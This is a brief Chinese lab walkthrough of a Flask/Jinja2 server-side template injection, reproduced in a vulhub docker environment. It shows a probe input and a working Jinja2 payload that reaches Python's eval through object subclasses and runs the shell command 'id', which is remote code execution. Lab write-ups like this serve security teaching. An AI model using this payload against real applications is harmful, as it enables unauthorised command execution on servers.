Flask(Jinja2) 服务端模板注入漏洞
漏洞简介
SSTI(Server-Side Template Injection) 服务端模板注入
,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
靶场搭建
cd /vulhub/flask/ssti
docker-compose up -d
测试
先看看源码
cd src
cat app.py

打开网页看看

后面加参数试试
?name={{111*222}}

构造poc
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

完事!结束!